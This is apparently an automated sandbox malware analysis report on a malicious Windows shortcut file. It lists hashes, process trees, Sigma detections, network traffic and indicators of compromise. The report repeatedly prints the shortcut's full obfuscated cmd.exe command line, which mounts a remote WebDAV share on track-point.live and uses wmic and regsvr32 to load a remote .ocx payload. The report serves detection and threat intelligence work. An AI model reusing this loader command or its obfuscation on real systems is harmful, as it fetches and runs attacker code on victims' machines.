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Windows Analysis Report
Sw7141dkgT.lnk

Overview

General Information

Sample name:	Sw7141dkgT.lnk renamed because original name is a hash value
Original sample name:	e742d7ad526162bd7c356da9ff209d2b.lnk
Analysis ID:	1576602
MD5:	e742d7ad526162bd7c356da9ff209d2b
SHA1:	615cbbe18cf3651969dad728db970d53fdaa425c
SHA256:	b610edfc1ee7c80f0e0ff33a9b66d1b19fdb491135b3570243c6e64e9468d602
Tags:	lnkuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Gathers information about network shares

Obfuscated command line found

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3268 cmdline: "C:\Windows\System32\cmd.exe" /v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 2488 cmdline: net use \\track-point.live@8080\docs\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cleanup

Sigma Signatures

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 65.20.104.217, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2488, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\track-point.live@8080\docs\, CommandLine: net use \\track-point.live@8080\docs\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\track-point.live@8080\docs\, ProcessId: 2488, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\track-point.live@8080\docs\, CommandLine: net use \\track-point.live@8080\docs\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\track-point.live@8080\docs\, ProcessId: 2488, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.5% probability

Source: global traffic

TCP traffic: 192.168.2.6:49707 -> 65.20.104.217:8080

Source: Joe Sandbox View

ASN Name: CP-ASDE CP-ASDE

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: track-point.live

Source: net.exe, 00000003.00000002.2343109156.000001A34EB99000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.2342927318.000001A34EBC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.2342927318.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343153784.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343153784.000001A34EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://track-point.live:8080/
Source: net.exe, 00000003.00000002.2343109156.000001A34EB99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://track-point.live:8080/aces
Source: net.exe, 00000003.00000003.2342927318.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343153784.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://track-point.live:8080/sRU

Source: classification engine

Classification label: mal60.spyw.winLNK@4/0@1/1

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\net.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\track-point.live@8080\docs\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\track-point.live@8080\docs\	Jump to behavior

Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Data Obfuscation

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt "

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\cmd.exe

Source: C:\Windows\System32\net.exe TID: 5960

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: net.exe, 00000003.00000002.2343109156.000001A34EB99000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.2342836264.000001A34EC12000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343206969.000001A34EC12000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\net.exe net use \\track-point.live@8080\docs\

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /c "set edgvta5v=s^e&& !edgvta5v!t "aeuq=i" &&!edgvta5v!t "vvyg=n" &&!edgvta5v!t "srvl=t" &&!edgvta5v!t "crqu=." &&!edgvta5v!t "qlyq=l" &&!edgvta5v!t "jozd=8" &&!edgvta5v!t "xrud=0" &&!edgvta5v!t "ebnv=o" &&!edgvta5v!t "zbyg=s" &&!edgvta5v!t "csub=c" &&!edgvta5v!t "uykc=e" &&!edgvta5v!t "sola=a" &&!edgvta5v!t "fnct=r" &&!edgvta5v!t "cbyr=g" &&!edgvta5v!t "urzx=v" &&!edgvta5v!t "hofl=2" &&!edgvta5v!t "klucyfr0=\\track-po!aeuq!!vvyg!!srvl!!crqu!!qlyq!ive@!jozd!!xrud!80\d!ebnv!c!zbyg!\" && cal!qlyq! !edgvta5v!t "yuzif5lv=activep!ebnv!d!crqu!!ebnv!!csub!x" && n!uykc!t use !klucyfr0! && wm!aeuq!c proc!uykc!s!zbyg! c!sola!!qlyq!l c!fnct!!uykc!a!srvl!e "re!cbyr!!zbyg!!urzx!!fnct!3!hofl! /s /!aeuq! !klucyfr0!!yuzif5lv!" && sta!fnct!t !klucyfr0!stats.txt "

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\track-point.live@8080\docs\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\track-point.live@8080\docs\			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Sw7141dkgT.lnk	5%	ReversingLabs

Source	Detection	Scanner	Label
http://track-point.live:8080/	0%	Avira URL Cloud	safe
http://track-point.live:8080/sRU	0%	Avira URL Cloud	safe
http://track-point.live:8080/aces	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
track-point.live	65.20.104.217	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://track-point.live:8080/	net.exe, 00000003.00000002.2343109156.000001A34EB99000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.2342927318.000001A34EBC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.2342927318.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343153784.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343153784.000001A34EBC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://track-point.live:8080/sRU	net.exe, 00000003.00000003.2342927318.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.2343153784.000001A34EBCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://track-point.live:8080/aces	net.exe, 00000003.00000002.2343109156.000001A34EB99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
65.20.104.217	track-point.live	United States		199592	CP-ASDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576602
Start date and time:	2024-12-17 10:11:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Sw7141dkgT.lnk renamed because original name is a hash value
Original Sample Name:	e742d7ad526162bd7c356da9ff209d2b.lnk
Detection:	MAL
Classification:	mal60.spyw.winLNK@4/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: Sw7141dkgT.lnk

Simulations

Behavior and APIs

Time	Type	Description
04:12:28	API Interceptor	1x Sleep call for process: net.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CP-ASDE	hax.spc.elf	Get hash	malicious	Mirai	Browse	65.20.206.188
	mu3JuAyrj5.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	65.21.119.48
	850.exe	Get hash	malicious	AsyncRAT	Browse	65.21.198.54
	tDLozbx48F.exe	Get hash	malicious	Gurcu Stealer	Browse	65.21.49.163
	botx.spc.elf	Get hash	malicious	Mirai	Browse	65.21.172.4
	Finish_Agreement_DocuSign.pdf	Get hash	malicious	Unknown	Browse	65.21.29.43
	RasTls.dll	Get hash	malicious	Unknown	Browse	65.20.90.139
	RasTls.dll	Get hash	malicious	Unknown	Browse	65.20.90.139
	RFQ.scr.exe	Get hash	malicious	Discord Token Stealer	Browse	65.21.66.211
	hiss.arm7.elf	Get hash	malicious	Unknown	Browse	65.20.118.153

File type:	MS Windows shortcut, Item id list present, Has Description string, Has Working directory, Has command line arguments, Icon number=13, Archive, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	3.9369879785624025
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Sw7141dkgT.lnk
File size:	2'241 bytes
MD5:	e742d7ad526162bd7c356da9ff209d2b
SHA1:	615cbbe18cf3651969dad728db970d53fdaa425c
SHA256:	b610edfc1ee7c80f0e0ff33a9b66d1b19fdb491135b3570243c6e64e9468d602
SHA512:	42cc72bcd9f1142a1a3d09ca797caaf3c0ca8a7289f40cb43acc64f75afbcf27d289b0c7399d1a151bfb4045cc088bcf56a2cb7b12fd86d89eabda0b8aaf6397
SSDEEP:	48:8FHsWYqfo0QQaGwIJmpZZtprLmlZzsRJ0G4ZLDH3vBGLaczq4MtKGD/BfSyUGJ1R:8VvYqw06W+2z2yv3ZGLxG0nGLG7
TLSH:	1D41250135DA0015E9632AB6DBE85F8EC909FBD14A35EB0D6D12AA1EC000A839B93779
File Content Preview:	L..................F.... ...................................................8....P.O. .:i.....+00.../C:\......................V.1......Y3e..Windows.@........T,.Y.b....Q.........................W.i.n.d.o.w.s.....Z.1......YhC0.System32..B........T,.Y.c...

File Icon


Icon Hash:	8038f29c9ca9ed6d

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	/v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt"
Icon location:	C:\Windows\System32\shell32.dll

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:12:07.663400888 CET	49707	8080	192.168.2.6	65.20.104.217
Dec 17, 2024 10:12:07.783916950 CET	8080	49707	65.20.104.217	192.168.2.6
Dec 17, 2024 10:12:07.784075022 CET	49707	8080	192.168.2.6	65.20.104.217
Dec 17, 2024 10:12:07.784312010 CET	49707	8080	192.168.2.6	65.20.104.217
Dec 17, 2024 10:12:07.905685902 CET	8080	49707	65.20.104.217	192.168.2.6
Dec 17, 2024 10:12:29.683957100 CET	8080	49707	65.20.104.217	192.168.2.6
Dec 17, 2024 10:12:29.684142113 CET	49707	8080	192.168.2.6	65.20.104.217
Dec 17, 2024 10:12:29.684401989 CET	49707	8080	192.168.2.6	65.20.104.217
Dec 17, 2024 10:12:29.805593014 CET	8080	49707	65.20.104.217	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:12:07.182745934 CET	49324	53	192.168.2.6	1.1.1.1
Dec 17, 2024 10:12:07.657627106 CET	53	49324	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 10:12:07.182745934 CET	192.168.2.6	1.1.1.1	0x71f5	Standard query (0)	track-point.live	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 10:12:07.657627106 CET	1.1.1.1	192.168.2.6	0x71f5	No error (0)	track-point.live		65.20.104.217	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	65.20.104.217	8080	2488	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:12:07.784312010 CET	110	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: track-point.live:8080

Target ID:	0
Start time:	04:12:06
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /v /c "set eDGvTA5V=s^e&& !eDGvTA5V!t "AeUQ=i" &&!eDGvTA5V!t "VVYG=n" &&!eDGvTA5V!t "sRvL=t" &&!eDGvTA5V!t "CRqu=." &&!eDGvTA5V!t "qLyQ=l" &&!eDGvTA5V!t "jOzd=8" &&!eDGvTA5V!t "xRuD=0" &&!eDGvTA5V!t "ebNv=o" &&!eDGvTA5V!t "zBYg=s" &&!eDGvTA5V!t "CSUB=c" &&!eDGvTA5V!t "UYkc=e" &&!eDGvTA5V!t "SOla=a" &&!eDGvTA5V!t "fnct=r" &&!eDGvTA5V!t "Cbyr=g" &&!eDGvTA5V!t "urzx=v" &&!eDGvTA5V!t "hOfL=2" &&!eDGvTA5V!t "klUcyfR0=\\track-po!AeUQ!!VVYG!!sRvL!!CRqu!!qLyQ!ive@!jOzd!!xRuD!80\d!ebNv!c!zBYg!\" && cal!qLyQ! !eDGvTA5V!t "YuZif5lV=ActiveP!ebNv!d!CRqu!!ebNv!!CSUB!x" && n!UYkc!t use !klUcyfR0! && wm!AeUQ!c proc!UYkc!s!zBYg! c!SOla!!qLyQ!l c!fnct!!UYkc!a!sRvL!e "re!Cbyr!!zBYg!!urzx!!fnct!3!hOfL! /s /!AeUQ! !klUcyfR0!!YuZif5lV!" && sta!fnct!t !klUcyfR0!Stats.txt "
Imagebase:	0x7ff6f03e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:12:06
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:12:06
Start date:	17/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\track-point.live@8080\docs\
Imagebase:	0x7ff659600000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
